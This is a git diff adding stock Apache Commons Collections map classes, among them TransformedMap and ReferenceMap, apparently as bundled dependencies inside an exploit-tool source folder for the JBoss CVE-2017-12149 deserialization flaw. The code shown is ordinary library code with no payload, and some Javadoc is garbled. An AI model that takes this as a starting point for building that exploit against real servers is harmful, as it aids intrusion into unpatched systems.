+ * Removes all mappings where the first key is that specified.
+ * MultiKey
+ * has one or more keys, and the first matches that specified.
+ *
+ * @param key1 the first key
+ * @return true if any elements were removed
+ */
+ public boolean removeAll(Object key1) {
+ boolean modified = false;
+ MapIterator it = mapIterator();
+ while (it.hasNext()) {
+ MultiKey multi = (MultiKey) it.next();
+ if (multi.size() >= 1 &&
+ (key1 == null ? multi.getKey(0) == null : key1.equals(multi.getKey(0)))) {
+ it.remove();
+ modified = true;
+ }
+ }
+ return modified;
+ }
+
+ /**
+ * Removes all mappings where the first two keys are those specified.
+ * MultiKey
+ * has two or more keys, and the first two match those specified.
+ *
+ * @param key1 the first key
+ * @param key2 the second key
+ * @return true if any elements were removed
+ */
+ public boolean removeAll(Object key1, Object key2) {
+ boolean modified = false;
+ MapIterator it = mapIterator();
+ while (it.hasNext()) {
+ MultiKey multi = (MultiKey) it.next();
+ if (multi.size() >= 2 &&
+ (key1 == null ? multi.getKey(0) == null : key1.equals(multi.getKey(0))) &&
+ (key2 == null ? multi.getKey(1) == null : key2.equals(multi.getKey(1)))) {
+ it.remove();
+ modified = true;
+ }
+ }
+ return modified;
+ }
+
+ /**
+ * Removes all mappings where the first three keys are those specified.
+ * MultiKey
+ * has three or more keys, and the first three match those specified.
+ *
+ * @param key1 the first key
+ * @param key2 the second key
+ * @param key3 the third key
+ * @return true if any elements were removed
+ */
+ public boolean removeAll(Object key1, Object key2, Object key3) {
+ boolean modified = false;
+ MapIterator it = mapIterator();
+ while (it.hasNext()) {
+ MultiKey multi = (MultiKey) it.next();
+ if (multi.size() >= 3 &&
+ (key1 == null ? multi.getKey(0) == null : key1.equals(multi.getKey(0))) &&
+ (key2 == null ? multi.getKey(1) == null : key2.equals(multi.getKey(1))) &&
+ (key3 == null ? multi.getKey(2) == null : key3.equals(multi.getKey(2)))) {
+ it.remove();
+ modified = true;
+ }
+ }
+ return modified;
+ }
+
+ /**
+ * Removes all mappings where the first four keys are those specified.
+ * MultiKey
+ * has four or more keys, and the first four match those specified.
+ *
+ * @param key1 the first key
+ * @param key2 the second key
+ * @param key3 the third key
+ * @param key4 the fourth key
+ * @return true if any elements were removed
+ */
+ public boolean removeAll(Object key1, Object key2, Object key3, Object key4) {
+ boolean modified = false;
+ MapIterator it = mapIterator();
+ while (it.hasNext()) {
+ MultiKey multi = (MultiKey) it.next();
+ if (multi.size() >= 4 &&
+ (key1 == null ? multi.getKey(0) == null : key1.equals(multi.getKey(0))) &&
+ (key2 == null ? multi.getKey(1) == null : key2.equals(multi.getKey(1))) &&
+ (key3 == null ? multi.getKey(2) == null : key3.equals(multi.getKey(2))) &&
+ (key4 == null ? multi.getKey(3) == null : key4.equals(multi.getKey(3)))) {
+ it.remove();
+ modified = true;
+ }
+ }
+ return modified;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Check to ensure that input keys are valid MultiKey objects.
+ *
+ * @param key the key to check
+ */
+ protected void checkKey(Object key) {
+ if (key == null) {
+ throw new NullPointerException("Key must not be null");
+ }
+ if (key instanceof MultiKey == false) {
+ throw new ClassCastException("Key must be a MultiKey");
+ }
+ }
+
+ /**
+ * Clones the map without cloning the keys or values.
+ *
+ * @return a shallow clone
+ */
+ public Object clone() {
+ return new MultiKeyMap((AbstractHashedMap) map.clone());
+ }
+
+ /**
+ * Puts the key and value into the map, where the key must be a non-null
+ * MultiKey object.
+ *
+ * @param key the non-null MultiKey object
+ * @param value the value to store
+ * @return the previous value for the key
+ * @throws NullPointerException if the key is null
+ * @throws ClassCastException if the key is not a MultiKey
+ */
+ public Object put(Object key, Object value) {
+ checkKey(key);
+ return map.put(key, value);
+ }
+
+ /**
+ * Puts all the keys and values into this map.
+ * Each key must be non-null and a MultiKey object.
+ *
+ * @param key the non-null MultiKey object
+ * @param value the value to store
+ * @return the previous value for the key
+ * @throws NullPointerException if the mapToCopy or any key within is null
+ * @throws ClassCastException if any key is not a MultiKey
+ */
+ public void putAll(Map mapToCopy) {
+ for (Iterator it = mapToCopy.keySet().iterator(); it.hasNext();) {
+ Object key = it.next();
+ checkKey(key);
+ }
+ map.putAll(mapToCopy);
+ }
+
+ //-----------------------------------------------------------------------
+ public MapIterator mapIterator() {
+ return map.mapIterator();
+ }
+
+ public int size() {
+ return map.size();
+ }
+
+ public boolean isEmpty() {
+ return map.isEmpty();
+ }
+
+ public boolean containsKey(Object key) {
+ return map.containsKey(key);
+ }
+
+ public boolean containsValue(Object value) {
+ return map.containsValue(value);
+ }
+
+ public Object get(Object key) {
+ return map.get(key);
+ }
+
+ public Object remove(Object key) {
+ return map.remove(key);
+ }
+
+ public void clear() {
+ map.clear();
+ }
+
+ public Set keySet() {
+ return map.keySet();
+ }
+
+ public Collection values() {
+ return map.values();
+ }
+
+ public Set entrySet() {
+ return map.entrySet();
+ }
+
+ public boolean equals(Object obj) {
+ if (obj == this) {
+ return true;
+ }
+ return map.equals(obj);
+ }
+
+ public int hashCode() {
+ return map.hashCode();
+ }
+
+ public String toString() {
+ return map.toString();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/PredicatedMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/PredicatedMap.java"
new file mode 100644
index 0000000..8827d5a
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/PredicatedMap.java"
@@ -0,0 +1,180 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.Iterator;
+import java.util.Map;
+
+import org.apache.commons.collections.Predicate;
+
+/**
+ * Decorates another Map
to validate that additions
+ * match a specified predicate.
+ * Map map = PredicatedSet.decorate(new HashMap(), NotNullPredicate.INSTANCE, null);
+ * setValue
.
+ *
+ * @param value the value to validate
+ * @throws IllegalArgumentException if invalid
+ * @since Commons Collections 3.1
+ */
+ protected Object checkSetValue(Object value) {
+ if (valuePredicate.evaluate(value) == false) {
+ throw new IllegalArgumentException("Cannot set value - Predicate rejected it");
+ }
+ return value;
+ }
+
+ /**
+ * Override to only return true when there is a value transformer.
+ *
+ * @return true if a value predicate is in use
+ * @since Commons Collections 3.1
+ */
+ protected boolean isSetValueChecking() {
+ return (valuePredicate != null);
+ }
+
+ //-----------------------------------------------------------------------
+ public Object put(Object key, Object value) {
+ validate(key, value);
+ return map.put(key, value);
+ }
+
+ public void putAll(Map mapToCopy) {
+ Iterator it = mapToCopy.entrySet().iterator();
+ while (it.hasNext()) {
+ Map.Entry entry = (Map.Entry) it.next();
+ Object key = entry.getKey();
+ Object value = entry.getValue();
+ validate(key, value);
+ }
+ map.putAll(mapToCopy);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/PredicatedSortedMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/PredicatedSortedMap.java"
new file mode 100644
index 0000000..0e4d851
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/PredicatedSortedMap.java"
@@ -0,0 +1,115 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.util.Comparator;
+import java.util.SortedMap;
+
+import org.apache.commons.collections.Predicate;
+
+/**
+ * Decorates another SortedMap
to validate that additions
+ * match a specified predicate.
+ * SortedMap map = PredicatedSortedSet.decorate(new TreeMap(), NotNullPredicate.INSTANCE, null);
+ * Map
implementation that allows mappings to be
+ * removed by the garbage collector and matches keys and values based
+ * on ==
not equals()
.
+ * ReferenceIdentityMap
, you can specify what kind
+ * of references are used to store the map's keys and values.
+ * If non-hard references are used, then the garbage collector can remove
+ * mappings if a key or value becomes unreachable, or if the JVM's memory is
+ * running low. For information on how the different reference types behave,
+ * see {@link Reference}.
+ * ==
.
+ * NullPointerException
.
+ * ReferenceIdentityMap
.
+ * Remember that synchronization will not stop the garbage collecter removing entries.
+ * ResettableIterator
and calling reset()
.
+ *
+ * @see java.lang.ref.Reference
+ *
+ * @since Commons Collections 3.0 (previously in main package v2.1)
+ * @version $Revision: 1.1 $ $Date: 2004/04/27 21:37:32 $
+ *
+ * @author Stephen Colebourne
+ */
+public class ReferenceIdentityMap extends AbstractReferenceMap implements Serializable {
+
+ /** Serialization version */
+ private static final long serialVersionUID = -1266190134568365852L;
+
+ /**
+ * Constructs a new ReferenceIdentityMap
that will
+ * use hard references to keys and soft references to values.
+ */
+ public ReferenceIdentityMap() {
+ super(HARD, SOFT, DEFAULT_CAPACITY, DEFAULT_LOAD_FACTOR, false);
+ }
+
+ /**
+ * Constructs a new ReferenceIdentityMap
that will
+ * use the specified types of references.
+ *
+ * @param keyType the type of reference to use for keys;
+ * must be {@link #HARD}, {@link #SOFT}, {@link #WEAK}
+ * @param valueType the type of reference to use for values;
+ * must be {@link #HARD}, {@link #SOFT}, {@link #WEAK}
+ */
+ public ReferenceIdentityMap(int keyType, int valueType) {
+ super(keyType, valueType, DEFAULT_CAPACITY, DEFAULT_LOAD_FACTOR, false);
+ }
+
+ /**
+ * Constructs a new ReferenceIdentityMap
that will
+ * use the specified types of references.
+ *
+ * @param keyType the type of reference to use for keys;
+ * must be {@link #HARD}, {@link #SOFT}, {@link #WEAK}
+ * @param valueType the type of reference to use for values;
+ * must be {@link #HARD}, {@link #SOFT}, {@link #WEAK}
+ * @param purgeValues should the value be automatically purged when the
+ * key is garbage collected
+ */
+ public ReferenceIdentityMap(int keyType, int valueType, boolean purgeValues) {
+ super(keyType, valueType, DEFAULT_CAPACITY, DEFAULT_LOAD_FACTOR, purgeValues);
+ }
+
+ /**
+ * Constructs a new ReferenceIdentityMap
with the
+ * specified reference types, load factor and initial capacity.
+ *
+ * @param keyType the type of reference to use for keys;
+ * must be {@link #HARD}, {@link #SOFT}, {@link #WEAK}
+ * @param valueType the type of reference to use for values;
+ * must be {@link #HARD}, {@link #SOFT}, {@link #WEAK}
+ * @param capacity the initial capacity for the map
+ * @param loadFactor the load factor for the map
+ */
+ public ReferenceIdentityMap(int keyType, int valueType, int capacity, float loadFactor) {
+ super(keyType, valueType, capacity, loadFactor, false);
+ }
+
+ /**
+ * Constructs a new ReferenceIdentityMap
with the
+ * specified reference types, load factor and initial capacity.
+ *
+ * @param keyType the type of reference to use for keys;
+ * must be {@link #HARD}, {@link #SOFT}, {@link #WEAK}
+ * @param valueType the type of reference to use for values;
+ * must be {@link #HARD}, {@link #SOFT}, {@link #WEAK}
+ * @param capacity the initial capacity for the map
+ * @param loadFactor the load factor for the map
+ * @param purgeValues should the value be automatically purged when the
+ * key is garbage collected
+ */
+ public ReferenceIdentityMap(int keyType, int valueType, int capacity,
+ float loadFactor, boolean purgeValues) {
+ super(keyType, valueType, capacity, loadFactor, purgeValues);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the hash code for the key specified.
+ * ==
.
+ *
+ * @param key1 the first key to compare passed in from outside
+ * @param key2 the second key extracted from the entry via entry.key
+ * @return true if equal by identity
+ */
+ protected boolean isEqualKey(Object key1, Object key2) {
+ key2 = (keyType > HARD ? ((Reference) key2).get() : key2);
+ return (key1 == key2);
+ }
+
+ /**
+ * Compares two values for equals.
+ * ==
.
+ *
+ * @param value1 the first value to compare passed in from outside
+ * @param value2 the second value extracted from the entry via getValue()
+ * @return true if equal by identity
+ */
+ protected boolean isEqualValue(Object value1, Object value2) {
+ return (value1 == value2);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Write the map out using a custom routine.
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ doWriteObject(out);
+ }
+
+ /**
+ * Read the map in using a custom routine.
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ doReadObject(in);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/ReferenceMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/ReferenceMap.java"
new file mode 100644
index 0000000..e4b66cc
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/ReferenceMap.java"
@@ -0,0 +1,162 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+
+/**
+ * A Map
implementation that allows mappings to be
+ * removed by the garbage collector.
+ * ReferenceMap
, you can specify what kind
+ * of references are used to store the map's keys and values.
+ * If non-hard references are used, then the garbage collector can remove
+ * mappings if a key or value becomes unreachable, or if the JVM's memory is
+ * running low. For information on how the different reference types behave,
+ * see {@link Reference}.
+ * WeakHashMap
. However, you can also specify hard keys and
+ * weak values, or any other combination. The default constructor uses
+ * hard keys and soft values, providing a memory-sensitive cache.
+ * equals()
.
+ * NullPointerException
.
+ * ReferenceMap
.
+ * Remember that synchronization will not stop the garbage collecter removing entries.
+ * ResettableIterator
and calling reset()
.
+ * AbstractReferenceMap
+ * (previously it extended AbstractMap). As a result, the implementation is now
+ * extensible and provides a MapIterator
.
+ *
+ * @see java.lang.ref.Reference
+ *
+ * @since Commons Collections 3.0 (previously in main package v2.1)
+ * @version $Revision: 1.13 $ $Date: 2004/04/27 21:35:23 $
+ *
+ * @author Paul Jack
+ * @author Stephen Colebourne
+ */
+public class ReferenceMap extends AbstractReferenceMap implements Serializable {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 1555089888138299607L;
+
+ /**
+ * Constructs a new ReferenceMap
that will
+ * use hard references to keys and soft references to values.
+ */
+ public ReferenceMap() {
+ super(HARD, SOFT, DEFAULT_CAPACITY, DEFAULT_LOAD_FACTOR, false);
+ }
+
+ /**
+ * Constructs a new ReferenceMap
that will
+ * use the specified types of references.
+ *
+ * @param keyType the type of reference to use for keys;
+ * must be {@link #HARD}, {@link #SOFT}, {@link #WEAK}
+ * @param valueType the type of reference to use for values;
+ * must be {@link #HARD}, {@link #SOFT}, {@link #WEAK}
+ */
+ public ReferenceMap(int keyType, int valueType) {
+ super(keyType, valueType, DEFAULT_CAPACITY, DEFAULT_LOAD_FACTOR, false);
+ }
+
+ /**
+ * Constructs a new ReferenceMap
that will
+ * use the specified types of references.
+ *
+ * @param keyType the type of reference to use for keys;
+ * must be {@link #HARD}, {@link #SOFT}, {@link #WEAK}
+ * @param valueType the type of reference to use for values;
+ * must be {@link #HARD}, {@link #SOFT}, {@link #WEAK}
+ * @param purgeValues should the value be automatically purged when the
+ * key is garbage collected
+ */
+ public ReferenceMap(int keyType, int valueType, boolean purgeValues) {
+ super(keyType, valueType, DEFAULT_CAPACITY, DEFAULT_LOAD_FACTOR, purgeValues);
+ }
+
+ /**
+ * Constructs a new ReferenceMap
with the
+ * specified reference types, load factor and initial
+ * capacity.
+ *
+ * @param keyType the type of reference to use for keys;
+ * must be {@link #HARD}, {@link #SOFT}, {@link #WEAK}
+ * @param valueType the type of reference to use for values;
+ * must be {@link #HARD}, {@link #SOFT}, {@link #WEAK}
+ * @param capacity the initial capacity for the map
+ * @param loadFactor the load factor for the map
+ */
+ public ReferenceMap(int keyType, int valueType, int capacity, float loadFactor) {
+ super(keyType, valueType, capacity, loadFactor, false);
+ }
+
+ /**
+ * Constructs a new ReferenceMap
with the
+ * specified reference types, load factor and initial
+ * capacity.
+ *
+ * @param keyType the type of reference to use for keys;
+ * must be {@link #HARD}, {@link #SOFT}, {@link #WEAK}
+ * @param valueType the type of reference to use for values;
+ * must be {@link #HARD}, {@link #SOFT}, {@link #WEAK}
+ * @param capacity the initial capacity for the map
+ * @param loadFactor the load factor for the map
+ * @param purgeValues should the value be automatically purged when the
+ * key is garbage collected
+ */
+ public ReferenceMap(int keyType, int valueType, int capacity,
+ float loadFactor, boolean purgeValues) {
+ super(keyType, valueType, capacity, loadFactor, purgeValues);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Write the map out using a custom routine.
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ doWriteObject(out);
+ }
+
+ /**
+ * Read the map in using a custom routine.
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ doReadObject(in);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/SingletonMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/SingletonMap.java"
new file mode 100644
index 0000000..ad89301
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/SingletonMap.java"
@@ -0,0 +1,592 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.io.Serializable;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+import org.apache.commons.collections.BoundedMap;
+import org.apache.commons.collections.KeyValue;
+import org.apache.commons.collections.MapIterator;
+import org.apache.commons.collections.OrderedMap;
+import org.apache.commons.collections.OrderedMapIterator;
+import org.apache.commons.collections.ResettableIterator;
+import org.apache.commons.collections.iterators.SingletonIterator;
+import org.apache.commons.collections.keyvalue.TiedMapEntry;
+
+/**
+ * A Map
implementation that holds a single item and is fixed size.
+ * put
or setValue
methods can change
+ * the value associated with the key.
+ *
+ *
+ *
+ * @since Commons Collections 3.1
+ * @version $Revision: 1.1 $ $Date: 2004/04/09 14:46:35 $
+ *
+ * @author Stephen Colebourne
+ */
+public class SingletonMap
+ implements OrderedMap, BoundedMap, KeyValue, Serializable, Cloneable {
+
+ /** Serialization version */
+ private static final long serialVersionUID = -8931271118676803261L;
+
+ /** Singleton key */
+ private final Object key;
+ /** Singleton value */
+ private Object value;
+
+ /**
+ * Constructor that creates a map of MapIterator
, see {@link #mapIterator()}
+ * KeyValue
interface (just cast - no object creation)
+ * null
to null
.
+ */
+ public SingletonMap() {
+ super();
+ this.key = null;
+ }
+
+ /**
+ * Constructor specifying the key and value.
+ *
+ * @param key the key to use
+ * @param value the value to use
+ */
+ public SingletonMap(Object key, Object value) {
+ super();
+ this.key = key;
+ this.value = value;
+ }
+
+ /**
+ * Constructor specifying the key and value as a KeyValue
.
+ *
+ * @param keyValue the key value pair to use
+ */
+ public SingletonMap(KeyValue keyValue) {
+ super();
+ this.key = keyValue.getKey();
+ this.value = keyValue.getValue();
+ }
+
+ /**
+ * Constructor specifying the key and value as a MapEntry
.
+ *
+ * @param keyValue the key value pair to use
+ */
+ public SingletonMap(Map.Entry entry) {
+ super();
+ this.key = entry.getKey();
+ this.value = entry.getValue();
+ }
+
+ /**
+ * Constructor copying elements from another map.
+ *
+ * @param map the map to copy, must be size 1
+ * @throws NullPointerException if the map is null
+ * @throws IllegalArgumentException if the size is not 1
+ */
+ public SingletonMap(Map map) {
+ super();
+ if (map.size() != 1) {
+ throw new IllegalArgumentException("The map size must be 1");
+ }
+ Map.Entry entry = (Map.Entry) map.entrySet().iterator().next();
+ this.key = entry.getKey();
+ this.value = entry.getValue();
+ }
+
+ // KeyValue
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the key.
+ *
+ * @return the key
+ */
+ public Object getKey() {
+ return key;
+ }
+
+ /**
+ * Gets the value.
+ *
+ * @return the value
+ */
+ public Object getValue() {
+ return value;
+ }
+
+ /**
+ * Sets the value.
+ *
+ * @param value the new value to set
+ * @return the old value
+ */
+ public Object setValue(Object value) {
+ Object old = this.value;
+ this.value = value;
+ return old;
+ }
+
+ // BoundedMap
+ //-----------------------------------------------------------------------
+ /**
+ * Is the map currently full, always true.
+ *
+ * @return true always
+ */
+ public boolean isFull() {
+ return true;
+ }
+
+ /**
+ * Gets the maximum size of the map, always 1.
+ *
+ * @return 1 always
+ */
+ public int maxSize() {
+ return 1;
+ }
+
+ // Map
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the value mapped to the key specified.
+ *
+ * @param key the key
+ * @return the mapped value, null if no match
+ */
+ public Object get(Object key) {
+ if (isEqualKey(key)) {
+ return value;
+ }
+ return null;
+ }
+
+ /**
+ * Gets the size of the map, always 1.
+ *
+ * @return the size of 1
+ */
+ public int size() {
+ return 1;
+ }
+
+ /**
+ * Checks whether the map is currently empty, which it never is.
+ *
+ * @return false always
+ */
+ public boolean isEmpty() {
+ return false;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Checks whether the map contains the specified key.
+ *
+ * @param key the key to search for
+ * @return true if the map contains the key
+ */
+ public boolean containsKey(Object key) {
+ return (isEqualKey(key));
+ }
+
+ /**
+ * Checks whether the map contains the specified value.
+ *
+ * @param value the value to search for
+ * @return true if the map contains the key
+ */
+ public boolean containsValue(Object value) {
+ return (isEqualValue(value));
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Puts a key-value mapping into this map where the key must match the existing key.
+ * setValue
affect this map.
+ * To simply iterate through the entries, use {@link #mapIterator()}.
+ *
+ * @return the entrySet view
+ */
+ public Set entrySet() {
+ Map.Entry entry = new TiedMapEntry(this, getKey());
+ return Collections.singleton(entry);
+ }
+
+ /**
+ * Gets the unmodifiable keySet view of the map.
+ * Changes made to the view affect this map.
+ * To simply iterate through the keys, use {@link #mapIterator()}.
+ *
+ * @return the keySet view
+ */
+ public Set keySet() {
+ return Collections.singleton(key);
+ }
+
+ /**
+ * Gets the unmodifiable values view of the map.
+ * Changes made to the view affect this map.
+ * To simply iterate through the values, use {@link #mapIterator()}.
+ *
+ * @return the values view
+ */
+ public Collection values() {
+ return new SingletonValues(this);
+ }
+
+ /**
+ * Gets an iterator over the map.
+ * Changes made to the iterator using setValue
affect this map.
+ * The remove
method is unsupported.
+ * OrderedMapIterator
over the map.
+ * java.util.Map
that performs well in in a highly
+ * thread-contentious environment. The map supports very efficient
+ * {@link #get(Object) get}, {@link #put(Object,Object) put},
+ * {@link #remove(Object) remove} and {@link #containsKey(Object) containsKey}
+ * operations, assuming (approximate) uniform hashing and
+ * that the number of entries does not exceed the number of buckets. If the
+ * number of entries exceeds the number of buckets or if the hash codes of the
+ * objects are not uniformly distributed, these operations have a worst case
+ * scenario that is proportional to the number of elements in the map
+ * (O(n)).
+ * staticBucketMapInstance.putAll(map);
+ *
+ *
+ * and
+ *
+ *
+ * staticBucketMapInstance.entrySet().removeAll(map.entrySet());
+ *
+ *
+ * then the results are generally random. Those two statement could cancel
+ * each other out, leaving staticBucketMapInstance
essentially
+ * unchanged, or they could leave some random subset of map
in
+ * staticBucketMapInstance
.
+ * He = |Hk mod n|
+ *
+ *
+ *
+ * staticBucketMapInstance.atomic(new Runnable() {
+ * public void run() {
+ * staticBucketMapInstance.putAll(map);
+ * }
+ * });
+ *
+ *
+ * It can also be used if you need a reliable iterator:
+ *
+ *
+ * staticBucketMapInstance.atomic(new Runnable() {
+ * public void run() {
+ * Iterator iterator = staticBucketMapInstance.iterator();
+ * while (iterator.hasNext()) {
+ * foo(iterator.next();
+ * }
+ * }
+ * });
+ *
+ *
+ * Implementation note: This method requires a lot of time
+ * and a ton of stack space. Essentially a recursive algorithm is used
+ * to enter each bucket's monitor. If you have twenty thousand buckets
+ * in your map, then the recursive method will be invoked twenty thousand
+ * times. You have been warned.
+ *
+ * @param r the code to execute atomically
+ */
+ public void atomic(Runnable r) {
+ if (r == null) throw new NullPointerException();
+ atomic(r, 0);
+ }
+
+ private void atomic(Runnable r, int bucket) {
+ if (bucket >= buckets.length) {
+ r.run();
+ return;
+ }
+ synchronized (locks[bucket]) {
+ atomic(r, bucket + 1);
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/TransformedMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/TransformedMap.java"
new file mode 100644
index 0000000..a5ac310
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/TransformedMap.java"
@@ -0,0 +1,194 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.Iterator;
+import java.util.Map;
+
+import org.apache.commons.collections.Transformer;
+
+/**
+ * Decorates another Map
to transform objects that are added.
+ * setValue
.
+ *
+ * @param value the value to transform
+ * @return the transformed value
+ * @since Commons Collections 3.1
+ */
+ protected Object checkSetValue(Object value) {
+ return valueTransformer.transform(value);
+ }
+
+ /**
+ * Override to only return true when there is a value transformer.
+ *
+ * @return true if a value transformer is in use
+ * @since Commons Collections 3.1
+ */
+ protected boolean isSetValueChecking() {
+ return (valueTransformer != null);
+ }
+
+ //-----------------------------------------------------------------------
+ public Object put(Object key, Object value) {
+ key = transformKey(key);
+ value = transformValue(value);
+ return getMap().put(key, value);
+ }
+
+ public void putAll(Map mapToCopy) {
+ mapToCopy = transformMap(mapToCopy);
+ getMap().putAll(mapToCopy);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/TransformedSortedMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/TransformedSortedMap.java"
new file mode 100644
index 0000000..66e40a8
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/TransformedSortedMap.java"
@@ -0,0 +1,114 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
